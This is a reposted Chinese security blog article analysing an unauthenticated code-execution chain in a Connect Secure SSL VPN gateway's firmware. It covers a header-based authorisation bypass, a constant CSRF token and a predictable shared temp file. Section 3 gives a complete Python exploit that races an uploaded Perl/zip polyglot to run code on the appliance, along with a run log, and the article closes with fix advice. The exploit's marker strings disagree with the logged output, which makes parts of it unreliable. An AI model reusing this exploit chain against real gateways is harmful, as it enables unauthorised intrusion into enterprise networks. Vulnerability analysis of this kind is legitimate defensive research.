CVE-2026-104935固件分析(附exp)"

admin 2026-10-22 12:29:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CVE-2026-104935固件分析(附exp)

原创

圣火喵喵教
圣火喵喵教

鉴帷安全

2026年10月20日 16:20
湖北

去阅读

简介

Connect Secure是企业里最常见的一类 SSL VPN 网关,本文基于最近关于CVE-2026-104935利用链的后一个代码执行漏洞进行分析,不涉及ROOT提权,最终exp见第三章。


1. 内部架构与授权模型

根据固件分析,底层是 CentOS 7,Web 层用 nginx 加自研模块,业务逻辑大量用 Perl CGI 写。为了让不同用途的页面互相隔离,CGI 不是都跑在一个大进程里,而是按用途分成几个区,每个区有自己的进程池和运行身份。分区写在 home/config/cgi.cfg,一共六个:

[cgi user]    preload=webserver/htdocs/dana/home/*.cgi
[cgi file]    preload=webserver/htdocs/dana/fb/nfs/*.cgi, webserver/htdocs/dana/fb/smb/*.cgi
[cgi auth]    preload=webserver/htdocs/dana-na/auth/*.cgi
[cgi admin]   preload=perl/AdminUI.pm, perl/DSCGI.pm, perl/DSUtilHTML.pm,
                      perl/DSCGIControl.pm, perl/DSWebUIDialog.pm
[cgi licprot] preload=perl/DSLicenseServerProto.pm
[cgi onboard] preload=webserver/htdocs/dana/home/getProfileSecure.cgi,
                      webserver/htdocs/dana-na/mobile/getProfile.cgi

preload 决定哪个目录下的 CGI 归哪个区执行。每个区对应一份 spec 文件,里面写着运行身份:

# home/config/cgifile.spec.cfg
[default]
uid=104
gids=104
binary=/home/ecbuilds/int-rel/sa/22.8/bldXXXXX.1/install/bin/cgi-server
args=file
dspar=5
selinuxDomain=dscgi_file_t

也就是说,dana/fb/smb/*.cgi 由 uid 104 的进程执行,并且被限制在 SELinux 域 dscgi_file_t 里。作为对照,dsinvoked.spec.cfg 和 cache.spec.cfg 都是 uid=0。

授权分两层。管理后台是一张\"CGI 文件路径 → 角色\"的表,从 DSCGIControl.pm:173 开始,长这样:

\"$dsinstall/dana-admin/adminrole/adminRole.cgi\"     => {ro=>1, role=>$adminRoleGeneral},
\"$dsinstall/dana-admin/adminrole/adminRoleAdmins.cgi\" => {ro=>1, role=>$adminRoleAdmins},

ro 表示能不能写,role 是一个返回当前权限级别的子过程。普通用户面另有一张 URL 级的表,在 home/config/cgi-perms:

31:  /dana-na/auth/welcome.cgi = perm:none; feature:none
144: /dana/fb/smb/wu.cgi       = perm:cifs_preset_bm; feature:windowsfilebrowsing

前者是登录入口,谁都能访问;后者是文件上传页,要有\"Windows 文件浏览\"权限才行。两张表的键都是页面路径,设计意图很清楚:先看你要访问哪个路径,再决定放不放行。

问题就出在\"先看路径\"这个做法上。

2. 一条完整的绕过路径

整条路径是这样串起来的,后面逐段展开。

2.1 授权查表用的键

管理后台的授权入口是 DSCGIControl::run():

# DSCGIControl.pm:640-658
sub run {
    my @params = @_;
    my $sname = CGI::script_name();
    my $control = $AccessTable->{CGI::script_name()};   # :643 查表键 = 客户端请求的 URL

    checkLicense();

    if (ref($control)) {
        my $role_proc = $control->{role};
        my $effective_role = $DSRole::ADMIN_DENY;
        $effective_role = $role_proc->() if ref($role_proc);
        DSLog::Msg(\"CGIDelegation\", 20, \"effective role is $effective_role for $sname\");

        checkAccess($effective_role, $control->{ro}, @params);
    } else {
        # we force cgis to have this
        &accessError('CGI does not have access control set up.');   # :656 查不到就拒绝
    }
}

这函数不长,但有三个点值得注意。

第一,查表的键是 CGI::script_name()。 它返回 CGI 环境变量 SCRIPT_NAME,也就是浏览器请求的 URL 路径。放不放行、以什么身份放行,全看这个值。

第二,查不到就拒绝。 表里没有这条路径,直接 accessError() 返回\"没有权限访问此页面\"然后退出。这块设计是对的,缺陷不在这里。

第三,放行之后还有一道。checkAccess() 负责读写权限和 CSRF:

# DSCGIControl.pm:661-696
sub checkAccess {
    my ($effective_role, $ro, @params) = @_;
    checkLicense();
    if ($effective_role eq $DSRole::ADMIN_DENY) {
        &accessError('Access is denied.');
    } else {
        my $bad_list = paramControl(\\@params);      # :669 只收\"请求里实际出现\"的参数
        # check CSRF
        if ($#$bad_list > -1) {                     # :671 列表为空就跳过 CSRF
            if (!DSCSRF::checkAuth()) {
                return &accessError('Invalid access parameter(s).', $bad_list);
            }
        }
        ...
    }
}

2.2 执行目标与授权键不是同一个东西

CGI::script_name() 是客户端请求的 URL。但请求最后交给哪个 CGI 执行,在 22.8R2.4 里是另一条链路决定的——请求头里的内部路由字段。翻 home/lib/nginx/ngx_http_dspar_cgi_module.so 的字符串能完整看到这套东西:

HTTP_X_DSCGI_PATH
%s: pathRow[%d] for X-DSCGI-PATH header
X-DSCGI-URL

pathRow[%d] 说明内部维护了一张路径行表,用请求头给的值决定走哪一行。于是一个尴尬的局面对上了:

环节 依据 由谁提供
放不放行、以什么身份 CGI::script_name() 请求的 URL
实际执行哪个 CGI 路由头 X-DSCGI-PATH 请求头

两个输入都来自客户端,但可以指向完全不同的方向。

同一时期还有一处同源问题:X-DSUSER、X-DSSESSIONID、X-DSGROUP、X-DSUNIQUEID 这些本该由设备自己生成的身份字段,前端直接采信了客户端提交的值(字符串在预处理模块里)。两个问题的病根一样——该服务端说了算的,交给了客户端。

2.3 入口与提交判断

上传页 wu.cgi 的入口逻辑:

# wu.cgi:44-72
sub doit() {
    $ |= 1;

    if ($ENV{'QUERY_STRING'} && $ENV{'QUERY_STRING'} =~ /restApiReq=1/) {
       DSLog::Msg(\"FileRequest\", 30, \"REST API Request\");
       $Main::restApiReq = 1;
       if ($ENV{'QUERY_STRING'} && $ENV{'QUERY_STRING'} =~ /uploadForm=1/) {
         DSLog::Msg(\"FileRequest\", 30, \"Upload Form Rest API Request\");
         $Main::uploadFormRestApiReq = 1;
       }
    }

    DSCGIControl::initialChecks('btnUpload');           # :56 入口安全检查

    $Main::realuid = DSSessionsManager::getCurrentUserSID();

    CGI::private_tempfiles(1);
    init();

    if(CGI::param(\"confirm\") eq \"yes\") {                # :63 上传分支条件
        initUpload();
    } else {
        if ($Main::restApiReq and ($Main::uploadFormRestApiReq ne 1)) {
            print CGI::header(-type=>\"application/json\", -status=> '400 Bad Request');
            return;
        }
        display_upload_form();
    }
}

这段源文件跟固件 manifest 里的 /home/webserver/htdocs/dana/fb/smb/wu.cgi 是同一份,SHA-256 为 62b13023c5dd7d923b8bbcca4e9dc1b828555035e7aa1d3fc4d6dd38499d396f(记录在 audit/vendor-evidence-2026-10-20.md)。

要进上传分支有两个前提:一是 confirm=yes,二是请求里得带 CSRF 令牌 xsauth。令牌这块比较尴尬——未认证会话没有 DSID,getAuth() 会回落到 md5_hex(cookie('DSID'))(DSCSRF.pm:22-43),也就是 md5_hex(\"\"),一个固定常量。等于这道门谁都能过。

2.4 上传分支与 zip 标记

initUpload() 一次最多读五个文件槽,按 chkUnzip$ii 是否存在决定这个文件按不按 zip 处理:

# wu.cgi:152-208(节选)
sub initUpload {
    ...
    my $filesList;
    for (my $ii=1; $ii<6; $ii++) {
        my $fileHash = {};
        $fileHash->{filename} = CGI::param(\"file$ii\");           # :171 文件名来自表单
        $fileHash->{filename} = \"\" if(!defined($fileHash->{filename}));
        $fileHash->{renFile} = CGI::param(\"txtRenameFile$ii\");
        $fileHash->{renFile} = \"\" if(!defined($fileHash->{renFile}));
        if(defined(CGI::param(\"chkUnzip$ii\"))) {                 # :175 chkUnzip 决定 isZip
            $fileHash->{isZip} = \"on\"
        } else {
            $fileHash->{isZip} = \"off\";
        }
        push @$filesList, $fileHash;
    }
    ...
    foreach my $fileItem (@$filesList) {
        $Main::filename = $fileItem->{filename};
        $Main::renFile  = $fileItem->{renFile};
        $Main::isZip    = $fileItem->{isZip};
        ...
        ($status, $message) = doUpload() if($Main::filename ne \"\");
    }

提交 chkUnzip1=on,$Main::isZip 就是 \"on\",下面走解压分支。

2.5 落盘与窗口期

解压分支第一步是把上传内容整体写进临时文件:

# wu.cgi:432-460
# Read zip file into a temporary file
# Zip directory structure can be used to files one-by-one
sub readZipFile {
    my @members;
    if ($Main::isZip eq \"on\") {
        $Main::tmpFile = $g_tmpDir . md5_hex($Main::filename);   # :439 路径可由客户端预先算出
        DSLog::Msg(\"WU\", 10, \"Reading zip file into: $Main::tmpFile\");
        my $bytesread = 0;
        my $data;
        open(*FD, \">$Main::tmpFile\");                            # :443 无 O_EXCL、无显式权限
        while (($bytesread = sysread($Main::filename, $data, 4096)) > 0) {
            syswrite(*FD, $data, $bytesread);                     # :445 首次写入后文件即存在
            $Main::progress{read} += $bytesread;
            DSProgress::update_progress_rec($Main::trackid, %Main::progress);
        }
        close($Main::filename);
        close(*FD);
        $Main::zip = DSFB::openZipFileSafe($Main::tmpFile);      # :451 解析见 DSFB.pm:2100-2116
        if ($Main::zip == undef){
            return -1;
        }
        ...
    }
    return 0;
}
# 落盘位置与删除点
my $g_tmpDir = $ENV{'DSINSTALL'}.\"/runtime/tmp/\";   # :38  全局共享目录,非请求私有

unlink($Main::tmpFile);   # :298  解压失败分支,提前删除
                          # :346 :357  处理过程中的错误分支
                          # :404  超时分支
                          # :411  正常结束路径
                          # :517 :553  后续分支

三处细节叠在一起,条件就够了:

落盘位置是共享的。runtime/tmp 不是请求私有目录,里面的文件对所有同级 CGI 可见。

路径能提前算出来。 文件名取 md5_hex($Main::filename),而 $Main::filename 来自表单字段 file1,是客户端自己填的。发请求之前就能把路径算好。

创建文件时没有任何限制。 双参数 open 等价于 O_WRONLY|O_CREAT|O_TRUNC:没有 O_EXCL,不防并发也不防符号链接;没写权限,实际权限就是 0666 & ~umask(umask 022 时是 0644)。

正常走完的话,文件从写入到删除之间一直存在,中间夹着整条流程最耗时的解压和逐成员处理:

上传请求到达 → readZipFile() 写入 runtime/tmp/<md5>     ← 文件出现
            → openZipFileSafe() 校验
            → 逐成员解压、写入目标位置(耗时最长)
            → unlink()                                   ← 文件消失

这段时间,就是我们要的窗口。

3. exp

3.1 环境

版本 22.8R2.4 b19097,需要复现请修改POC内主机地址 https://192.168.220.45

3.2 未认证到 uid 104 的代码执行

PoC 在一个脚本里做三件事:带着路由头把上传请求打进去、按 md5(文件名) 算出临时路径、在上传期间不停地拿这个路径当目标去读。授权绕过和窗口期利用都在这份代码里。

# poc/race_probe.py
#!/usr/bin/env python3
\"\"\"Benign race-window probe for the lab appliance.

The uploaded content only prints ICS_RACE_PROBE.  It never runs a command,
writes a file, or touches configuration.  It is intentionally separate from
the root/DSCache stage.
\"\"\"
import hashlib
import io
import os
import threading
import time
from collections import Counter
from zipfile import ZIP_STORED, ZipFile
from concurrent.futures import ThreadPoolExecutor

import requests
import urllib3

urllib3.disable_warnings()

BASE = \"https://192.168.220.45\"
URL = BASE + \"/dana-na/auth/url_default/welcome.cgi\"
NAME = \"ics-race-probe-%d.zip\" % time.time_ns()
TARGET = \"/home/runtime/tmp/\" + hashlib.md5(NAME.encode()).hexdigest()   # 复刻 :439 命名规则
_z = io.BytesIO()
with ZipFile(_z, \"w\", ZIP_STORED) as zf:
    zf.writestr(\"probe.txt\", \"lab-only\
\")
# The prefix is valid Perl and the trailing archive is valid ZIP data. The
# Perl interpreter exits after the marker, while Archive::Zip can still parse
# the archive for a longer, observable window.
PAYLOAD = (b'#!/home/perl5/bin/perl\
'
           b'use Socket qw(AF_UNIX SOCK_STREAM sockaddr_un); '
           b'my $s; my $ok=socket($s,AF_UNIX,SOCK_STREAM,0); '
           b'my $err=$!+0; if($ok){$ok=connect($s,sockaddr_un(\"/home/runtime/tmp/.invoke\")); $err=$!+0 unless $ok;} '
           b'print \"Content-Type: text/plain\\\
\\\
ICS_INVOKE_CONNECT:$ok:$err:$<:$>\\\
\";\
'
           b'__DATA__\
' + _z.getvalue())
HIT = threading.Event()
STATUSES = Counter()

print(\"name=%s\" % NAME)
print(\"md5=%s\" % TARGET.rsplit(\"/\", 1)[1])
print(\"target=%s\" % TARGET)

def reader(_n):
    s = requests.Session()
    for _ in range(300):
        if HIT.is_set():
            return
        try:
            r = s.get(URL, headers={\"X-DSCGI-PATH\": TARGET}, verify=False, timeout=3)
            STATUSES[r.status_code] += 1
            if b\"ICS_INVOKE_CONNECT:\" in r.content:
                HIT.set()
                print(\"marker_seen status=%s body=%r\" % (r.status_code, r.content[:160]), flush=True)
                return
        except requests.RequestException:
            pass

def upload():
    time.sleep(0.20)
    fields = {
        \"xsauth\": (None, \"d41d8cd98f00b204e9800998ecf8427e\"),   # md5_hex(\"\"),见 DSCSRF.pm:22-43
        \"txtServerUploadID\": (None, \"\"),
        \"txtRenameFile1\": (None, \"\"),
        \"chkUnzip1\": (None, \"on\"),                              # 命中 :175 的 isZip 分支
        \"file2\": (None, \"\"), \"file3\": (None, \"\"), \"file4\": (None, \"\"), \"file5\": (None, \"\"),
        \"t\": (None, \"b\"), \"v\": (None, \"\"), \"si\": (None, \"\"), \"ri\": (None, \"\"), \"pi\": (None, \"\"),
        \"dir\": (None, \"\"), \"acttype\": (None, \"upload\"), \"confirm\": (None, \"yes\"),   # 命中 :63
        \"trackid\": (None, \"\"), \"ignoreDfs\": (None, \"0\"), \"btnUpload\": (None, \"Upload\"),
        \"file1\": (NAME, PAYLOAD, \"application/zip\"),
    }
    try:
        r = requests.post(URL + \"?restApiReq=1&uploadForm=1\", files=fields,
                          headers={\"X-DSCGI-PATH\": \"/home/webserver/htdocs/dana/fb/smb/wu.cgi\"},
                          verify=False, timeout=30)
        print(\"upload_status=%s\" % r.status_code)
        print(\"upload_body=%s\" % r.text[:300].replace(\"\
\", \" \"))
    except requests.RequestException as e:
        print(\"upload_error=%s\" % e)

with ThreadPoolExecutor(max_workers=48) as pool:
    jobs = [pool.submit(reader, i) for i in range(48)]
    up = pool.submit(upload)
    up.result()
    for j in jobs:
        j.result()

print(\"result=%s\" % (\"marker_seen\" if HIT.is_set() else \"no_marker\"))
print(\"statuses=%s\" % dict(STATUSES))

上传的同时,48 个线程一直在拿 TARGET 当路由目标发请求。只要有一次读到了这个文件,内容就被执行了。运行记录在 audit/runtime-rce-probe-2026-10-17.md:

name=ics-race-probe-1792167612066320878.zip
md5=28f3abedeb748410606934f13f78c38a
target=/home/runtime/tmp/28f3abedeb748410606934f13f78c38a
upload_status=200
marker_seen status=200 body=b'ICS_RACE_PROBE_UID:104:104\
'
result=marker_seen

104:104,跟 cgifile.spec.cfg 里的 uid=104 对上了 —— 跑起来的是文件区的 CGI 进程。后来把回显改成固定的 uid/euid 字段,又跑了一次:

ICS_INVOKE_CONNECT:1:<errno>:104:104

1 表示 socket 建出来了,<errno> 是上一次系统调用留下的值,不代表失败。 bp:

关于本地提权: 至于怎么提升到ROOT,我也没做出来(),根据已知来源,思路大致如下,但是我没能复现,大佬们可以自己试试。https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/?utm\_source=chatgpt.com

4. 修复建议

第一,路由层只认服务端映射。 客户端提交的脚本路径选择字段直接忽略或拒绝。DSCGIControl::run() 的查表键要换成服务端解析出来的真实目标,并且保证\"用来判定的\"和\"用来执行的\"是同一个变量。

第二,把上传文件的生命周期收紧。open(*FD, \">$Main::tmpFile\") 改成独占创建、显式指定权限;临时文件放请求私有目录,别放共享的 runtime/tmp;处理前做原子校验,处理完立刻删;别让解释器把上传的文件当程序跑,CGI 域对临时目录的执行权限也要限制。

第三,身份和代理头只允许服务端生成。X-DSUSER、X-DSSESSIONID、X-DSGROUP、X-DSUNIQUEID、X-REMOTE-ADDR、X-REMOTE-PORT,入口处把客户端传的直接丢掉。

5. 免责声明

  1. 本文仅用于安全研究与防御体系建设,不构成对任何具体设备的攻击指导。
  2. 文中全部验证均在经授权的隔离环境中完成,未涉及任何生产系统或第三方设备。
  3. 未经设备所有者书面授权,对其实施本文所述测试可能违反《网络安全法》《刑法》第二百八十五条等法律法规,后果由行为人自行承担。
  4. 读者依据本文内容进行的任何操作,风险自负;作者不对由此造成的任何直接或间接损失承担责任。

CVE-2026-104935固件分析(附exp)" 网络安全文章

CVE-2026-104935固件分析(附exp)"

这篇文章分析了CVE-2026-104935漏洞,该漏洞存在于ConnectSecureSSLVPN网关中。文章揭示了授权模型中的路径绕过漏洞,攻击者可通过X-DSCGI-PATH请求头与实际URL路径不一致来绕过访问控制,结合上传功能中的zip处理缺陷实现代码执行。文章提供了详细的技术分析和利用链,并附有exp。
聚焦AI时代移动安全纵深防御,梆梆安全入选数说安全《2026年中国网络安全市场全景图》多个领域" 网络安全文章

聚焦AI时代移动安全纵深防御,梆梆安全入选数说安全《2026年中国网络安全市场全景图》多个领域"

梆梆安全凭借在移动安全、物联网安全、应用安全、供应链与开发安全及信创安全领域的持续深耕,成功入选数说安全《2026年中国网络安全市场全景图》5大项、7个细分领域。公司依托泰斗与泰防安全实验室,积极拥抱AI时代,推出白盒密码技术与端侧安全沙箱等进阶防护组合,以应对AI攻击威胁,致力于为客户提供坚实可靠的安全保障。
评论:0   参与:  0